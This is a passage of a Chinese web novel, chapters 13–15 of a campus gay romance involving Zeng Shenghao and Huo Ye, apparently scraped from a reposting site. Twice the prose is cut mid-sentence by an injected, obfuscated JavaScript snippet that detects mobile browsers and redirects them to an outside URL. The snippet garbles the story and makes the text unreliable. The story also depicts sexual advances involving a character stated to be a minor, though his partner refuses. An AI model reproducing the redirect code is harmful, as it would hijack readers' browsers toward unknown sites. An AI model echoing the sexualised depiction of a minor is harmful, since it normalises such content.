曾盛豪见对方一脸疲惫失望,一颗铁直板板的心脏不自觉紧张起来。 他犹豫半晌,手指来回摩挲着大腿上的裤线,直到服务生陆续上菜,他才忍不住轻轻开口: “霍晔,我是一个很无趣的人吧。” “嗯?”霍晔抬头冲他一笑:“谁说的?盛豪哥,这世上没有无趣的人,只有发掘不了有趣灵魂的人。” “那……”曾盛豪会心笑起来,“对我来说,你就是那个愿意发掘我有趣灵魂的人了。” “也、也不算吧……”霍晔有些承受不住他这眼神,不自在地挠了挠头,“你这么帅,有才有钱又品德高尚,以后不差人发掘的。” “我不要,”曾盛豪皱起眉,“我就要你。” 霍晔愣了下:“什么?” 曾盛豪自动开启装聋模式,低头认真切着牛排,淡淡道: “他家不是注水牛,我吃得出来。” “算他家走运,”霍晔哼一声,“五星米其林要还是注水牛,我们盛豪哥肯定就要闹着掀桌子了!” 两人对视一眼,不约而同地笑了起来。 饭后又在楼下影院看了场电影,电影散场后,霍晔强行挽着身旁人的胳膊,说想去负一层酒吧再喝点儿,被曾盛豪冷着脸驳回。 “我再说一遍,你还没成年,有点儿自知之明。” “我没成年,你还给我一个连驾照都没有的人买车?” “你没驾照?!”曾盛豪震惊了。 “对啊!”霍晔一脸无辜地望着他。 “我以为……”曾盛豪便秘脸盯着他,“你家里人会给你弄一张来。” “可以啊,”霍晔饶有兴致地戳着他的大粪脸,“但他们早给我雇了个司机,省得我还得花时间找地方停车。” 曾盛豪马上委婉表示,他不想让除他俩之外的其他人开霍晔的新车。 霍晔嗯嗯地点着头,答应小气鬼先把新车停在库里,等他有空弄张驾照了再自己开。 “也不许任何人坐副驾。”曾盛豪浑身又开始冒冷气。 “不会的,你放心吧。”霍晔拍着胸膛给他打包票。心想,幸亏没跟小气鬼说今天江箫坐了副驾,不然就凭曾盛豪这个醋劲儿,回头岂不是要酿成一桩血案? 于是新的问题又出现了—— 没人开车。 曾盛豪晚间喝了大半瓶红酒,霍晔没驾照,司机手下国庆全部放假,俩人带车大晚上跑出来吃喝玩乐,现在开不回去了。 “时间不早了,我打车先送你回家。”曾盛豪脱下外套披在霍晔肩上,开始在App上筛选着豪华专车,说:“你明天去度假吧,这车我过来开。” “没关系的,”霍晔不动声色地靠近他怀里,笑道,“我都说了陪你,我不去度假了。” “你不是说累吗,赶紧回家早点休息,”曾盛豪精挑细选了辆五系,低头填着手机号码,“明天我也有小语种课要上。” “但是,”霍晔拢着外套踮脚凑近,给对方指了下手机时钟,“现在都晚上10:51了,等你回宿舍阿姨都关门了。” “不用管我,我在外面住酒店,”曾盛豪扭头问他,“你公寓位置在哪儿,我输下地址。” “曾盛豪,”霍晔望着他,“你到底是真不懂还是假不懂?” 曾盛豪不解挑眉:“懂什么?” 霍晔忽地捧住他脸庞,闭上眼凑近,在他嘴唇深深地吻了一下: “你不是想和我一起住么?” “我今晚就和你一起睡。” 13. 第十三章 少年嘴唇饱满柔软,这一吻似乎就嵌入了他的命运。 曾盛豪一整晚努力克制住的醉意瞬间就不受控制地发酵开来,他睫毛颤动两下,情不自禁地闭眼追吻。 霍晔笑着躲了他一下,说在外面被人看到不好,等下他们到了酒店再亲。 曾盛豪眼神迷茫地望着他花朵般的笑靥,鬼使神差地说了句“好”。 霍晔便牵住了他手,另一手又揉揉他头发,说:“好乖啊。” 曾盛豪低头看着二人十指相扣的手,犹豫几秒,一声不吭地将肩膀挨过去。 霍晔沉默。 酒店就在商厦对面,二人过马路时,霍晔忽地攥紧他手,轻声道:“盛豪哥,我见你照片第一眼就很喜欢你,我家人让我离你远点儿,但是我就是改不了这种记吃不记打的臭毛病,对不起啊。” 曾盛豪被他攥得有点疼,大脑清醒过来几分。 他见身旁人似乎有心事,便扭头认真望着对方:“霍晔,我见你资料第一眼,也觉得你很厉害。” 霍晔就笑,说了句“谢谢”,没再继续这个话题。 一脚迈入富贵堂皇的京城老牌五星酒店,深红亮漆金叶雕窗,金箔天花藻井穹顶,埃及水晶吊灯流光溢彩,暗红丝绒地毯铺展阶梯蜿蜒的柱廊,意大利真皮沙发摆设在镜面抛光的大理石地面,整个空间充斥着中西合璧的艺术。 霍晔让曾盛豪放心,这是他自家产业,全京城隐私性没有比这更好的。曾盛豪不懂有什么好放心的,但见霍晔一脸郑重交代,他也就跟着点点头。 前台经理一见霍晔便笑脸相迎,恭维一声“小公子”,霍晔松开曾盛豪的手,向对方说起今晚遭遇,要和朋友暂住一晚。 经理便亲自引着两人去并不对外开放的副总统套房,又好一阵嘘寒问暖,让霍晔有要求尽管提。 “别跟我叔叔说,”霍晔笑,“他不喜欢我做逾越规矩的事。” “明白。”经理恭声退下,全程恍然看不见曾盛豪这个人。 门一关,霍晔就和曾盛豪抱在一起亲。 二人吻得陶醉忘我,交融的呼吸燎动得空气瞬间沸腾火热起来。 …… …… 双方都有了反应,隔着一层布料,彼此拥紧。 “霍晔……”曾盛豪埋头在怀里人颈窝猛吸,闷声呼唤,“小晔……” “说什么呢,”霍晔心脏抽搐一下,皱眉道,“不准这么喊我。” 曾盛豪便觉几分委屈,“赵茂青都喊了……” “你们不一样。”霍晔喘着气催促,“盛豪哥,快脱了我吧。” 曾盛豪被这话吓得一愣,忙抽手出来:“不行!” “怎么不行?”霍晔不耐烦,伸手就要拉他裤链:“你都硬成石头了,我来帮你开心一下。” 曾盛豪皱眉按住他手:“不行,要等你明年过完生日才可以。” “等不到生日了!”霍晔不禁有些恼火,“曾盛豪,我不想再和你继续了,等今晚还了你的情,咱们以后就少来往吧!” 曾盛豪愣住了。 浑身火燎燎的情|欲也在霎那间褪了个一干二净。 他怔愣地望着面前恼羞成怒的少年,好半晌,眼眶不知怎地湿红起来。 “你……”霍晔受不得他这副样子,忍不住上前替他擦眼角,“盛豪哥,你别这样。” 曾盛豪低头咽了咽吐沫,将霍晔轻轻推开。 “我对你没有情,你不需要还。” “你不喜欢我靠近你,直接告诉我就好。” “你混蛋吗?”霍晔皱眉盯着他,“曾盛豪你别装傻,我们都知道这种事没有结果,正好现在我喜欢你,你也喜欢我,咱们上几次床,两个人都开心一下,以后山高路远,谁也没有遗憾了。” “你误会了。”曾盛豪很快恢复面无表情的脸,“我没说过喜欢你。” 霍晔气笑了,二话不说就往他肩膀砸了一拳头。 “不喜欢我,那刚才我们在干什么?人工呼吸么?!!” 霍晔手劲儿硬度堪比六十斤铁锤子,曾盛豪仿佛无知觉般,一动不动地盯着他:“刚才是我醉酒一时冲动,我不辩解,你可以打我骂我,可以公之于众,我不在乎。” 霍晔没由来一阵心疼,眼底也不禁浮起一层热雾,问他:“那车呢?你给我解释解释,咱们才认识不到三个月,你送我七百多万的车怎么回事?” “我说过了,”曾盛豪面不改色,“车只是想让我的生活回归正常秩序的一种手段,不作为任何感情的证明。” “什么狗屁的秩序,”霍晔瞪他一眼,“说到底,还不是想让我陪在你身边?” “这个论题我也陈述过,”曾盛豪不卑不亢道,“喜欢美人是人之常情,但我喜欢的是美人,不是具体的某一个人,更不专指你。” “你行,你嘴硬,”霍晔冷笑,“你敢发誓你没对我动过心?” 曾盛豪顿了顿,缓缓抬眼看他一眼,说:“没有。” 霍晔呵呵一笑:“既然你没有动过心,你怎么确定你对我动心的时候不是在动心?” 曾盛豪:“听网上说,一个人动心的时候,大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521261|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑子里会出现一些BGM之类的,我发誓我没有。” 霍晔纳闷瞅他:“有你这么一本正经胡说八道的么?” 曾盛豪:“你可以不接受,我没有强求,但这就是我的观点,你同样无法改变。” 霍晔又被气笑了。 他点点头,耐心问:“你总吃醋怎么解释?” 曾盛豪:“我从小到大没有交过朋友,因此对你的占有欲稍微强烈了一点,我认为这是可以被理解的。” 霍晔:“你怎么不对江箫幺鸡占有欲强?” 曾盛豪:“整个宿舍只有我和你是国际生,加上父祖辈关系,理所应当就该我和你更亲密。” 霍晔挑眉:“是么?我怎么不这么认为?” 曾盛豪:“那是你的问题,与我无关。” 霍晔:“那好,如果只是朋友间的亲密,那我接下来和别人谈恋爱接吻上床你也无所谓了?” 曾盛豪:“我本身没有任何意见,但出于对你的占有欲,我可能会产生想要杀了他们之类的想法,这不是我能控制的。” “……服了你了,”霍晔瞪他,“我又没要你负责,你刚才不是摸我摸得很起劲儿么?曾盛豪,你太执拗了知道么?你要知道感情这种事都是三分钟热度,两个人多滚几次床单,过不了几天就会淡下去的,到时候你不会伤心,我也不会伤心,咱们之间就只剩下一段美好的肉|体关系的回忆,这样不好吗?” 曾盛豪皱眉听完,见对方一脸信誓旦旦的样子,忍不住问:“你……和别人滚过么?” “滚过。”霍晔想也不想就说,“我在美国的时候,和好几任男朋友都滚过,但是我现在根本记不起他们都叫什么名字。” “所以,”霍晔认真望着他,“盛豪哥,只要你跟我上过了床,你也会很快就忘掉我的。” “是因为你谈太多了,所以才记不起。”曾盛豪冷若冰霜,漠然道,“我不认为你这种不负责任的行为可以称之为‘感情’,你也不用跟我炫耀你谈过多少任男朋友,就算你和再多人上过床,这也不是我现在可以随便对待你的理由。” 霍晔一阵心酸,忍不住道:“我没有跟你炫耀,盛豪哥,我真的很喜欢你。” “如果你的喜欢是以和对方上床为终结点的话,”曾盛豪目不转睛地盯着他,“我觉得没必要了。” 霍晔沉默,好半晌,抬头迎上对方犀利的眸光: “我注定就是这样的人,我不知道该怎么跟你说。” “那就别说。” 曾盛豪撂下这话,头也不回转身就走了。 14. 第十四章 “小军,嘛呢?” 周羽抬手敲两下办公室门,探头笑望着格子间仅剩的实习生。 “这么刻苦啊,他们都下班了,你还不回家?” “周哥,”邵小军笑着站起身,“我剩点儿资料没翻译完,这就快了。” “得了,”周羽不甚在意地挥了下手,“笔头功夫才最磨人呢,上面要得又不急,你费那劲干嘛,早点儿收拾走人吧!” 邵小军扭头望一眼窗外夜色,失笑:“回家也怪没劲的,不如干点儿正事儿。” 周羽瞧出他有心事,轻啧一声,从兜里摸出盒烟。 他指尖一敲,弹出根儿流水音:“愁啥呢,跟哥聊会儿?” “行,走吧。” 邵小军接过烟叼嘴上,往裤兜揣了只打火机,示意俩人去吸烟室。 周羽是资本运营部的部门经理,A大经济学硕士毕业,在公司就职不到三年就崭露头角,去年又替上头搞定了个海外千万融资项目,为人胆大细心,自负轻狂,如今27岁年轻有为,外形谈吐完美到无可挑剔,但他既谈女朋友,也喜欢勾搭小男生去外头睡觉,一眼望不尽头的渣男情史,为总部同事们贡献了不少八卦黑料。 邵小军最近在业务部做跨海外部门翻译工作,偶尔会被派去周羽部门旁听重要投资战略会议,目前他的身份是本集团董事长霍玉章嫂子邵书斓的远房侄子邵小军,高层瞧不上他,中下层争相巴结他,周羽也免不了想和他走得近些。 业务部有好几个姐姐提醒小军,让他私下少跟周羽接触,说这人业务能力强归强,但私德有亏不是好鸟,邵小军嘴上应着,然后全都当耳旁风。 哪怕学校修着双学位,公司同时折返实习两个部门,他若是不去捉弄个谁,这日子过得实在太乏味。 老实人欺负起来没意思,邵小军就喜欢挑那种怪怪的人玩儿。 吸烟室里,邵小军故作谄媚地给周羽点火。 “周哥,向您请教个事儿呗?” “你小子!”周羽笑喷出一口烟,“什么您不您的,少把我往老了叫,咱差不了几岁。” “那成!”邵小军不客气地捏着烟嘴怼在对方炽红烟头,火光“噗”一声如烟花般绽放,将他手里的干燥烟嘴点着了。 邵小军冲对方傻嘿嘿地笑:“那我直接问了。” 周羽有些怔愣地看着这个胆大放肆的实习生,夹烟的手指微微颤抖着。 他低头垂下眼,猛吸一口烟,缓缓吐出:“嗯,你说。” “周哥谈恋爱的时候,会想过因为对象不喜欢你抽烟就戒烟么?这样会不会太惯着他了?” 周羽就笑:“怎么着,你对象嫌弃你啊?那就换个对象呗!” 邵小军“嗐”一声,也跟着低头猛吸一口烟,脑海中,那夜某人眼眶含泪的欠操模样忽闪掠过,迷得他整颗心都软软的。 “他条条框框太多,倒不是因为这事儿跟我闹脾气,但他最近不肯理我,我就想哄他高兴点儿。” “哄啥哄,这女的就不识相呗!”周羽哼了声,“她都谈上你了,哪儿那么多挑三拣四的,听哥的,干脆废了她再找个别人得了!” “唉,行吧。”邵小军想,果然他眼光太好,一眼挑中曾盛豪那么个世间少有的君子似的人物,其他大多数男人的脑袋都是直肠做的。 “诶,军儿,”周羽笑眼上下打量着他,“你长得跟美女似的,这浓眉俊眼朱红润唇的,你爸妈怎么就给你叫小军儿呢?” “谁知道呢,”邵小军叼着烟笑,“我爸一开始非说让我叫‘邵爱军’,我妈嫌恶心,就给我换了个字儿。” 周羽哈哈笑了两声,问他:“没想过要改名儿?” 邵小军挑眉:“改啥名儿?” 周羽笑得暧昧,打趣道:“叫个虞姬西施什么的,多贴啊。” 邵小军挺不好意思一笑,笑完,挺自恋地摸了摸自个儿的脸:“周哥眼里,我那么美啊?” 周羽激动一拍大腿,嘴里烟灰下雨般簌簌直落:“那必须的啊!比仙女还美呢!” 邵小军笑了笑:“我也觉得周哥挺帅的。” 周羽也挺不好意思一笑,笑完,立刻试探问:“走,楼下酒吧喝几杯去?” 邵小军忙摆手笑:“不不不,我还得回家做作业呢。” “你才大一,做啥作业用得着专门回趟家啊!”周羽很不以为然道,“走,去办公室开个电脑,你是PPT还是小论文?金融的还是外语的?给哥二十分钟,保准让你拿A+!” “不用了周哥,”邵小军提起这事儿来就头疼,“上回我作业让室友帮做的,他没署我名,我老师就罚我重交十份不一样的小组作业,工程量比我工作还多呢,我还是自己回去做吧。” “啧,你这室友不行。”周羽知道今晚没戏唱了,随便和邵小军吐槽几句室友人品问题,说等下有事儿,招手先走了。 邵小军一个人默默在吸烟室抽着烟,回忆起上周四的精读课堂。 当时轮到曾盛豪代表四人小组在讲台上汇报PPT,全程操着一口流利性感的英音陈述着英美文化与风俗差异——霍晔从不肯错过曾盛豪演讲的环节。他特地跑到第一排,各种托腮星星冲人眨啊眨,曾盛豪不鸟他就算了,旁边江箫还老揶揄他是不是斗鸡眼了? 本想着等人演讲结束,霍晔缠着人吹捧一番,再认真给曾盛豪道个歉什么的,俩人那晚不欢而散的事儿就可以翻篇了,没料想曾盛豪那混蛋汇报完,生怕老师没看见他们小组人数,特地又从最后一页PPT翻到第一页: 小组成员: 资料搜集与编稿:江箫、姜离 PPT制作与汇报:曾盛豪 鉴于他们小组成员很特殊,整个外院、甚至整个M大就没有不晓得他们609男团F4名号的,于是老师登时皱眉,扭头看向第一排正努力给小组汇报人抛媚眼的霍晔,问他:“你没参与么?” 霍晔立刻就呆了。 困惑不解的目光投向讲台上的曾盛豪。 霍晔嫌小组作业琐碎且形式主义,有那时间他宁愿玩儿也不愿做,金融系那边一向交给赵茂青他们代劳,外院这边,毫无疑问是曾盛豪帮他搞。霍晔不差钱,隔三差五就请小组成员们吃大餐,每人送点儿五星酒店的住宿会员卡或者面值三四百块的海鲜券,大伙儿一帮人其乐融融的,多团结友爱啊! 偏偏曾盛豪那个不识相的小气鬼非要破坏人民内部团结! 霍晔愣愣地望着那人。 曾盛豪面无表情地关掉PPT、拔U盘,下台也没有挨着他坐,步履从容地去教室中间位置坐下,一双心无旁骛的双眼认真地盯着黑板听讲,仿佛不认识他一样。 霍晔承认自己当时很伤心,一整节课趴在桌上萎靡不振。 他可是翘掉了一个由他负责翻译的部门会议,专门跑来学校听曾盛豪演讲的。他很爱看曾盛豪站着讲台上谈吐风流的模样,更爱细细地品味每次曾盛豪在演讲结束后不自觉翘起嘴角,在眼角眉梢流露出自信得意的可爱小表情。 他邵小军一整周足足八百块的工资都被罚没了(虽然也不很在乎),但,曾盛豪就这么对待他? 江箫和幺鸡现在也开始站着曾盛豪那边了。 他们说,那天早上曾盛豪回到宿舍,一脸阴重寒气,从头到脚浑身都是露湿,不晓得在夜里走了多久。后来曾盛豪持续发了好几天高烧,半夜不停说梦话喊霍晔的名字,一直问“为什么我不能喊你小晔”,“为什么他们都能喊,只有我不能”……这话太深情也太悲伤,他们不敢跟曾盛豪提,也没问他和霍晔之间到底发生了什么。 后来曾盛豪病好了,学习生活依旧如常,只是模样太冷,说话也冷,难以令身边人再亲近他。 这隔阂不仅是和很久没回来的霍晔,曾盛豪对待室友同学态度也很生疏,既不再和江箫姜离作伴吃饭,也拒绝向找他询问问题的同学提供帮助,搞得班级很多人开始传他虚伪自私假清高,大家上课没座位宁愿跑到后排也不愿意和他坐一起。 有次上课,有个爱开玩笑的教授当众逗他,说他面无表情的样子像个机器人,问他启动微笑的程序在哪里?曾盛豪坐在台下,只抬眼静静地看着对方,反倒令那教授不好意思了。 霍晔沉默。 他不知道曾盛豪到底是在吃醋吃疯了,还是已经恨上他了。 他唯一肯定的是,再不把人哄好,曾盛豪就要把整个学院的人都得罪完了。 立冬这天,校园黄叶飘了满地,雨水噼里啪啦下着,晚间图书馆挑灯夜读的学生们三两陆续离开,窗外楼下行走着五颜六色的雨伞。 管理员过来提醒要关灯了,曾盛豪才起身收拾书包出门。 下午五点江箫给他发消息,说霍晔今晚在宿舍住,问他要不要一起去外面搓一顿?曾盛豪没由来心底一阵厌烦,没回消息,连食堂都没去。 他按电梯下楼,心底愈发不满。 天气预报根本不准,早上还晴空万里,晚上就开始下雨,他不想麻烦任何人给他带伞,本想着一口气学到闭馆,谁料这雨越下越大,等下出门还得淋着雨去个能打车的地方,他要去校外的酒店住,真是烦人得很。 这月国才杯省赛成绩出来,他拿第一,江箫第二,幺鸡第三,一个宿舍四个人,除了一个没参赛的,剩下全部晋级总决赛,堪称奇迹。这桩美谈在整个M大成为众人津津乐道的话题,但不知怎的,曾盛豪就是高兴不起来。 他最近去校外上课也没骑车,这么点儿距离频繁打车,一点儿都不符合他“该花花,该省省”的消费原则。总决赛也在考虑要不要参加,各方面需要消耗精力都太多,即便拿到名次了,似乎也就那么回事儿。 他觉得很没意思。 推门走出图书馆,心不在焉地低头打车选酒店,脑海里不禁想念起那个妖孽在他宿舍床上搔首弄姿的风流模样。 可惜,那人有多可爱、性感,就有多可恨、可憎。 一不留意在台阶踩空,他整个人脸朝地面直接摔下去。 曾盛豪低骂一声,心想,这真是他有史以来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍晔“切”一声:“我又没和她正式订婚,我还没成年呢,我可不想给她当童养夫。” 曾盛豪没忍住一笑:“你这种人,也不像是会给人家当童养夫的。” 霍晔见他笑,登时心情松快起来。 他冲对方眨眨眼:“曾盛豪,原谅我吧,我愿意为了你戒烟,怎么样?” 曾盛豪笑容立刻消失,面无表情道:“你戒不戒烟,取决于你对自己健康的重视程度,跟我没关系。” “怎么没关系了?”霍晔瞪他,“我戒了烟,咱俩亲嘴儿的时候更方便点儿啊!” 曾盛豪:“我没打算和你再干那种事。” 霍晔二话不说捧起他脸庞,嘴对嘴吻他一下,抬眼道:“你再说?” 曾盛豪抗拒地擦着嘴,皱眉道:“我没打算和你再干——” 霍晔立马又亲他一口,威胁道:“你再说?” 曾盛豪面色不悦:“我没打算和你——” 霍晔干脆整个人扑上来,一顿猛亲如虎,狠狠嘬了他好几口,瞪着他:“你再说?曾盛豪,你是不是故意想让我亲你?” 曾盛豪心里烦成一团浆糊,干脆将伞收起来,甩手扔在一旁灌丛。 “霍晔,”他一动不动地站着雨里,“不想感冒发烧就赶紧走,我真的不想跟你这种人有任何瓜葛了。” “不好意思,”霍晔颇为潇洒地抬手将湿发捋成造型,“我身体素质比你好一万倍。” 曾盛豪:“……” 懒得看人耍帅,更懒得再顾惜这只花孔雀的死活。 他蹲下捡起雨伞,自顾自撑开,头也不回地朝校外走去。 霍晔立刻就震惊了。 “曾盛豪!”他忍不住冲人背影喊,“你的品德呢?!你品德丢在我这儿了!” “不要了,送你了。” “我艹你大爷!”霍晔气得在原地不停捋着头发打转,“你有种,真有种!我看咱俩到底谁更有种!谁让你先哭成那样勾引我,明明是你先勾引我的!!” 心思烦乱着转过头,那书呆子背着书包渐行渐远。霍晔眯起眼,灼热视线触及那人黑色休闲裤包裹着的、肌肉紧实的臀,还有那人永远步履从容的两条逆天长腿。 他甚至可以想象,那两条腿架在自己肩膀上时,书呆子惹人怜的红眼眶里含着几分泪。 雨水哗哗冲刷过脸庞,霍晔邪笑一声,抬手抹了把脸。 他往前追了两步,扯嗓子冲人大吼:“曾盛豪!做人要言而有信!后天你必须陪我去参加婚礼,听见没!” 远去的人摆了摆手。 “我问你听见没!”霍晔急声威胁道,“我绑也要把你绑过去,听见没!” 书呆子犹豫几秒,低头掏手机。 下一瞬,裤兜手机响起强提示音,霍晔扭头吐一口雨水混杂的唾沫,打开看曾盛豪的消息: 【听见了】 15. 第十五章 一辆红旗车停在M大西南校门口,龙溪掌着方向盘,四方视野中忽地映入一道身姿峻拔的西装人影。 他扭头朝后座说:“人来了。” 霍晔连忙降下车窗,探头朝外望去。 隔着老远,曾盛豪梳着侧分背头,浓眉英气,一身精英范儿十足的高定黑色正装,脚踩牛津皮鞋,粗大喉结下方紧束一条藏蓝细斜纹窄领带,步履不疾不徐地走出校门。 霍晔心跳怦怦的,看得不禁有些痴愣。 他招手喊了声“这里!”,曾盛豪闻声抬头过来,沉郁眸光和他短暂对视几秒,又一脸不情愿地别过头去。 两条腿倒是老老实实迈着步子走来。 曾盛豪跟霍晔说,这是他们最后一次交集,他遵守承诺,霍晔放他一马。 霍晔嘴上应着,一脸诚恳地点头,然后全当耳旁风。 曾盛豪刚坐上车,霍晔就笑着凑过来夸他帅,一边大献殷勤极尽溢美之词,一边伸出咸猪手摸身旁人西裤包裹下肉感饱满的大腿。 曾盛豪不客气拔开他手,瞪他:“霍晔,我警告你适可而止。” 霍晔有点失望,皱眉道:“你怎么都没反应了?” 曾盛豪漠然道:“我不认为我还能对你这种人有什么反应。” 霍晔不悦眯眼:“我哪种人?” 曾盛豪吐字清晰:“烂、人。” 霍晔冷呵一声,越想越不甘心,突然俯身去撩他裤脚,恍然抬头:“你穿秋裤了。” 曾盛豪:“……” “冬天了,是该穿秋裤了,可别把我们好人哥给冻坏了。” 霍晔笑了声,收敛几分,和人紧挨着腿坐,又伸手去勾缠曾盛豪搁在大腿上的小指。 他望着对方,半开玩笑道:“好人哥,本公子决定如你所愿,让你的生活回归正常的秩序,怎么样?” 曾盛豪冷冷道:“不需要。” 霍晔耐心哄道:“我为你戒烟还不行么?你看我多喜欢你。” 曾盛豪:“不需要。” 霍晔就笑:“是不需要我戒烟,还是不需要我为了你戒烟?” 曾盛豪瞥他一眼:“那是你自己的事,你就算抽死了也跟我没关系。” “好伤心,”霍晔低头紧捂住心窝,皱眉喘息道,“不行,要碎了……” 说着,整个人借势倒进了身旁人怀里。 曾盛豪不禁被逗得一笑。 他伸手重重推开对方,冷哼道:“别演了,虚伪。” 霍晔不肯起来,一颗头枕在他腿上,仰脸望着他:“你先说你不生气了。” 曾盛豪顿了顿,说:“对不起,我没办法不生气。” 霍晔叹了口气:“那你说,我怎么做你才能不生气啊?” 曾盛豪:“离我远点儿。” 霍晔想了想,说:“对不起,我也做不到。” 于是一切又绕回到原点。 路上,霍晔告诉曾盛豪这是一场并不简单的婚礼。 叶祖阳婚礼在部队礼堂举办,属于军|婚,出席人数一半以上都是叶祖阳的领导、战友和下属,少部分是夫妻双方在京的家属,在外地的、和一些远房亲戚没有受到邀请,因为场地特殊,参与婚礼的人员管控十分严格,曾盛豪能去,是因为霍晔手上有两张请柬,随便填谁名字都可以。 “按道理,”霍晔冲他笑,“你是不是认为我该填婧柠?” 曾盛豪扭脸望着窗外,装聋作哑不理他。 “但是呢,”霍晔自说自话,手掌安抚般拍了拍他屁股,“婧柠手里也有两张。” 曾盛豪又扭回头:“什么意思?” “联姻是表面功夫,大家心里都清楚,至于恋爱呢,”霍晔牵住他手,笑道,“又是另一回事儿。” 曾盛豪立即否认:“我没在跟你谈恋爱。” “好!”霍晔当即噼里啪啦地举手鼓掌,大声赞道,“本公子要的就是你这个态度!” 曾盛豪:“……” 要么说是个烂人呢,整天跟个神经病似的。 霍晔跟曾盛豪说,原先京城实权家族只有三个,霍家、赵家和傅家。以霍家为首,都是军|中高层骨干,但自从三十多年前,霍晔叔叔霍玉章因为私人问题,被迫从高层卸任,家里老爷子也受到些影响,被迫提前退休,霍家隐约有衰落迹象。 霍晔父亲当时没在京,远赴前线参加对越自卫反击战,等战事结束归来,霍鸿军身中七弹,指挥有方,军功赫赫,一养好伤,他就火速和当时的恋爱对象邵书斓结婚,于是获得邻省邵家的大力支持,这一大家子可算是保住了。 赵家是赵茂青家,他父亲成长路径和霍晔父亲相似,但一家三代稳扎稳打,从没出过意外,这些年过得比霍家更顺遂舒坦。 傅家是叶祖阳妻子那一方,本来叶祖阳一介平民高攀不上人家大小姐,傅慧相中了他那张脸,一哭二闹三上吊嚷着非他不嫁,当年叶祖阳和霍晔在部|队里搞暧昧闹得人尽皆知,叶祖阳没受到丝毫影响,官途不降反升,霍晔被流放国外,除了爹妈低调不想惹是生非之外,多少也受几分傅大小姐的影响。 叶祖阳是叶婧柠父亲的亲侄儿,叶家唯一有出息的后辈,叶志兴早年凭借一副好姿容赘入部|队大院,一个外地人硬是挤进了这核心权力圈层,大半辈子可谓是忍辱负重,如今一人得道,自然是倾尽全力对侄儿托举,叶祖阳二十八岁就成为特种部队最年轻的少校军官,前途堪称无限光明。 霍、赵、傅三足鼎立的格局无需再等三十年,倘若霍晔不从军从政,那么这个圈子将进行重新洗牌,逐渐会演变成傅、赵两家老牌骨干,和以叶祖阳为首的叶家新晋势力。 霍晔跟曾盛豪说,三十年后,大概就是傅叶成一家,赵茂青那边不晓得会顶多少年,霍晔只好祝赵茂青这大傻个儿能多生几个有出息的儿女。 曾盛豪见霍晔用半开玩笑的语气讲着自家要走下坡路的惨淡前景,忍不住问:“你和叶婧柠不是联姻了么?你还和赵茂青是好朋友,为什么不会是霍叶成一家,和赵家一起钳制傅家?” 霍晔盯着他似笑非笑,好半晌,抬手拍拍他脸蛋:“好人哥你说得有道理,再说吧。” 曾盛豪皱眉:“你为什么不从军从政?” 霍晔瞥他:“我是同性恋,还是众所周知的同性恋,你知道同性恋在官场意味着什么吗?” 曾盛豪认真望着他:“我只知道你叔叔是上世纪七八十年代的事,那时改革开放没多久,国人思想偏向保守很正常,但现在是新世纪,二零零一年国内就将‘同性恋’去病化了,法律上对同性恋并不反对,公职人员更看重能力而非性取向,没有人会抵制。” 霍晔就笑,问他:“好,那你告诉我,你父母会歧视同性恋么?” 曾盛豪笃定道:“当然不会!我父母都是很开明的人。” 霍晔又去牵他手,说:“那你喜欢上一个男同志,你敢告诉他们么?” 曾盛豪铁直板板地抽回手,说:“跟这没有关系。” “你不敢。”霍晔语气更笃定,一双深眸严肃盯着他,“曾盛豪,你祖上四代都从事外交事业,你母亲还是全球顶奢酒店品牌大中华区的执行总裁,你从小接触先进思想,初高中在英国学习六年,你们一家人无论从文化水平还是经济实力,都可以排得上当代中国的前10%,但即便如此,你也不敢跟他们讲你喜欢上了一个男人,这就是事实!” “这只是你一个家庭,你要知道,一个家庭就是一个国家的缩影。” “你这话太绝对了,”曾盛豪不赞同道,“我爷爷就是很传统的人。” “看出来了,”霍晔叹了口气,“你平时就跟个老头儿一样。” “算了,”曾盛豪也懒得跟这流氓辩论,“你和你家人怎么样,跟我没关系。” “瞧你,这么冷漠,”霍晔笑,“对你来说,我现在还是有点儿用处的,不是么?” 曾盛豪身形一顿,无数思绪瞬间在大脑中百转千回。 他低头道:“我对你唯一的要求,就是希望你能离我远点。” 霍晔“嗯?”一声,挑眉道:“真的?曾盛豪,算我欠你的补偿,我就这么问你一次啊,过了这村儿,以后可就再也没这店儿了啊!” 曾盛豪缓缓转过头,盯着他:“霍晔,我这辈子就算一条路走到黑,也不想再和你有半分瓜葛。” 霍晔惊诧:“这么恨我?” 曾盛豪紧抿着唇,低着头不再理他。 “完了,”霍晔闷哼一声,攥着胸口揉个不停,“这回是真挺疼。” 红旗车缓缓驶进大院,门口四位执勤人员身穿黑衣,胸口戴着大红礼花,手边牵着几头藏獒在排查车辆。 霍晔示意龙溪降下车窗,笑声朝一个威武壮汉打招呼:“宋哥,大喜的日子,你不去闹新房,怎么跑来干这活儿了?” 被叫宋哥那人抬起头,一见是他,笑着走近来:“你个臭小子养尊处优的,这活儿咋啦!我兄弟娶媳妇儿,我做哥哥的不得替他把个门啊!” 说话间,两眼一眯,敏锐盯向车座里头,皱眉道:“你这是……” 霍晔笑着递上请柬:“我一哥们儿,军训在基地祖阳哥练过他,俩人关系可好了,祖阳哥点名要他来玩儿的!” “嗐!”宋哥看完请柬,激动挥手“啪”一下将狗绳鞭打在车门上,哈哈大笑起来,“吓我一大跳!我寻思着你也太嚣张了,原来是老叶带出来的小兵。” “瞧你说的,”霍晔也拍着车窗哈哈大笑,“都几百年前的陈芝麻烂谷子了,我哪至于专门在他结婚的时候带个人来膈应他,多没操守啊!” 宋哥仰头大笑:“哈哈哈哈哈哈就是说啊!” 霍晔笑得更起劲儿:“哈哈哈哈哈我很大度的!” 